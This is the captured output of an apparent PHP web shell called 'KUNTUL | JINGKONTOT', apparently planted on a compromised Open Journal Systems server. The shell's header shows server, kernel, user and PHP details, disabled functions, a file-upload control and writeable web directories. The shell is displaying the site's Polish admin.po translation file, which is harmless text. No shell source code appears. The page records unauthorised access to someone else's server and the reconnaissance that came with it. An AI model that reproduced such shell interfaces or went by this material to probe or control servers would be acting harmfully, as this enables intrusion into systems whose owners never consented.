KUNTUL | JINGKONTOT
JINGKONTOT


Server : Apache/2.4.41 (Ubuntu)
System : Linux journalup 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Directory :  /var/www/html/locale/pl_PL/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/locale/pl_PL/admin.po
msgid ""
msgstr ""
"Project-Id-Version: \n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2019-11-19T10:49:29+00:00\n"
"PO-Revision-Date: 2020-06-19 20:39+0000\n"
"Last-Translator: rl <[email protected]>\n"
"Language-Team: Polish <http://translate.pkp.sfu.ca/projects/ojs/admin/pl_PL/>"
"\n"
"Language: pl_PL\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=3; plural=n==1 ? 0 : n%10>=2 && n%10<=4 && (n%100<10 "
"|| n%100>=20) ? 1 : 2;\n"
"X-Generator: Weblate 3.9.1\n"

msgid "admin.hostedContexts"
msgstr "Czasopisma"

msgid "admin.settings.redirect"
msgstr "Przekieruj na czasopismo"

msgid "admin.settings.redirectInstructions"
msgstr ""
"Żądania wyświetlenia strony głównej zostaną przekierowane do tego "
"czasopisma. Ta opcja jest przydatna np. wtedy, gdy system obsługuje tylko "
"jedno czasopismo."

msgid "admin.languages.primaryLocaleInstructions"
msgstr "Domyślny język strony oraz wszystkich czasopism."

msgid "admin.languages.supportedLocalesInstructions"
msgstr "Wybierz wszystkie języki wspierane w obrębie strony."

msgid "admin.locale.maybeIncomplete"
msgstr "Zaznaczone języki mogą nie być przetłumaczone w pełni."

msgid "admin.languages.confirmUninstall"
msgstr "Odinstalować język?."

msgid "admin.languages.installNewLocalesInstructions"
msgstr "Wybierz dodatkowe języki do zainstalowania w systemie."

msgid "admin.languages.downloadFailed"
msgstr "Pobieranie plików lokalizacyjnych nie udało się. Komunikat błędu znajduje się poniżej."

msgid "admin.languages.localeInstalled"
msgstr "Język \"{$locale}\" został zainstalowany."

msgid "admin.languages.download"
msgstr "Pobierz tłumaczenie"

msgid "admin.languages.download.cannotOpen"
msgstr "Nie można otworzyć pliku opisu dostępnych języków ze strony PKP."

msgid "admin.languages.download.cannotModifyRegistry"
msgstr "Błąd, nie można dodać nowego języka do lokalnego rejestru."

msgid "admin.auth.ojs"
msgstr "Baza danych użytkowników OJS"

msgid "admin.auth.enableSyncProfiles"
msgstr "Włącz synchronizowanie profili użytkowników."

msgid "admin.auth.enableSyncPasswords"
msgstr "Włącz modyfikację haseł przez użytkowników."

msgid "admin.auth.enableCreateUsers"
msgstr "Włącz tworzenie użytkowników."

msgid "admin.systemVersion"
msgstr "Wersja OJS"

msgid "admin.systemConfiguration"
msgstr "Konfiguracja OJS"

msgid "admin.systemConfigurationDescription"
msgstr "Konfiguracja OJS z pliku <tt>config.inc.php</tt>."

msgid "admin.journals.journalSettings"
msgstr "Ustawienia czasopisma"

msgid "admin.journals.noneCreated"
msgstr "Żadne czasopisma nie zostały utworzone."

msgid "admin.journals.createInstructions"
msgstr "Zostaniesz automatycznie przydzielony jako administrator tego czasopisma. Po utworzeniu czasopisma, zaloguj się jako administrator w celu dokończenia procesu konfiguracji."

msgid "admin.journals.urlWillBe"
msgstr ""
"Krótkie słowo lub akronim identyfikujące czasopismo. Adres będzie miał "
"postać {$sampleUrl}."

msgid "admin.journals.enableJournalInstructions"
msgstr "Włącz czasopismo aby było widoczne w obrębie całej strony"

msgid "admin.contexts.contextDescription"
msgstr "Opis czasopisma"

msgid "admin.journal.pathImportInstructions"
msgstr "Istniejąca ścieżka czasopisma lub ścieżka do utworzenia (np., \"forum\")."

msgid "admin.journals.importSubscriptions"
msgstr "Importuj subskrypcje"

msgid "admin.journals.transcode"
msgstr "Transkoduj dane artykułu z ISO8859-1"

msgid "admin.journals.redirect"
msgstr "Utwórz kod aby zmapować adresy OJS 1 na OJS 2"

msgid "admin.journals.form.importPathRequired"
msgstr "Ścieżka importu jest wymagana."

msgid "admin.journals.importErrors"
msgstr "Błąd, importowanie nie powiodło się"

msgid "admin.mergeUsers"
msgstr "Scal użytkowników"

msgid "admin.mergeUsers.mergeUser"
msgstr "Scal użytkownika"

msgid "admin.mergeUsers.into.description"
msgstr "Wybierz użytkownika dla którego mają zostać przydzielone wszystkie atrybuty poprzedniego użytkownika."

msgid "admin.mergeUsers.from.description"
msgstr "Wybierz jedno lub kilka kont użytkowników w celu ich scalenia. (np. w sytuacji kiedy jedna osoba posiada dwa konta). Konto wybrane jako pierwsze zostanie usunięte a jego wszystkie parametry zostaną przydzielone dla nowego użytkownika."

msgid "admin.mergeUsers.allUsers"
msgstr "Wszyscy użytkownicy"

msgid "admin.mergeUsers.confirm"
msgstr "Potwierdź połączenie użytkownika {$oldAccountCount} z nowym użytkownikiem \"{$newUsername}\"? Użytkownik {$oldAccountCount} zostanie nieudwracalnie usunięty."

msgid "admin.settings.defaultMetricDescription"
msgstr ""
"\n"
"\t\tTwój system jest skonfigurowany do korzystania z więcej niż jednej "
"metryki. Statystyki zostaną wyświetlone w różnych kontekstach\n"
"Niektóre zastosowania danych statystycznych umożliwiają wykorzystanie tylko "
"wybranych metryk. Wybierz metrykę która będzie wykorzystywana domyślnie.\n"
"\t"

msgid "admin.languages.confirmDisable"
msgstr "Czy na pewno wyłączyć ten język? Twoja decyzja może mieć wpływ na utworzone czasopisma aktualnie wykorzystujące ten język."

msgid "admin.languages.downloadUnavailable"
msgstr ""
"<p>Pobieranie plików języka ze strony PKP jest w tej chwili niemożliwe, ponieważ:</p>\n"
"\t<ul>\n"
"\t\t<li>Twój serwer nie pozwala na użycie narzędzia \"tar\".</li>\n"
"\t\t<li>OJS nie jest w stanie zmodyfikować pliku \"registry/locales.xml\".</li>\n"
"\t</ul>\n"
"<p>Pliki języka mogą być pobrane ręcznie <a href=\"http://pkp.sfu.ca\">ze strony PKP</a>.</p>"

msgid "admin.mergeUsers.noneEnrolled"
msgstr "Brak przypisanych użytkowników."

msgid "admin.scheduledTask.subscriptionExpiryReminder"
msgstr "Powiadomienie o końcu subskrypcji"

msgid "admin.scheduledTask.openAccessNotification"
msgstr "Powiadomienie o otwartym dostępie"

msgid "admin.scheduledTask.reviewReminder"
msgstr "Powiadomienie o recenzji"

msgid "admin.contexts.confirmDelete"
msgstr "Czy na pewno usunąć czasopismo wraz z całą jego zawartością?"

msgid "admin.contexts.create"
msgstr "Utwórz czasopismo"

msgid "admin.contexts.form.titleRequired"
msgstr "Tytuł jest wymagany."

msgid "admin.contexts.form.pathRequired"
msgstr "Ścieżka jest wymagana."

msgid "admin.contexts.form.pathAlphaNumeric"
msgstr "Ścieżka może składać się ze znaków alfabetu łacińskiego, podkreśleń oraz myślników. Musi też zaczynać się i kończyć znakiem alfabetu łacińskiego."

msgid "admin.contexts.form.pathExists"
msgstr "Wybrana ścieżka jest już w użyciu przez inne czasopismo."

msgid "admin.contexts.form.edit.success"
msgstr "Pomyślnie  edytowano {$name}."

msgid "admin.contexts.form.create.success"
msgstr "{$name} utworzono pomyślnie."

msgid "admin.settings.info.success"
msgstr "Informacje o stronie zostały pomyślnie zaktualizowane."

msgid "admin.settings.config.success"
msgstr "Ustawienia konfiguracji strony zostały pomyślnie zaktualizowane."

msgid "admin.settings.appearance.success"
msgstr "Ustawienia wyglądu strony zostały pomyślnie zaktualizowane."

KUNTUL | JINGKONTOT |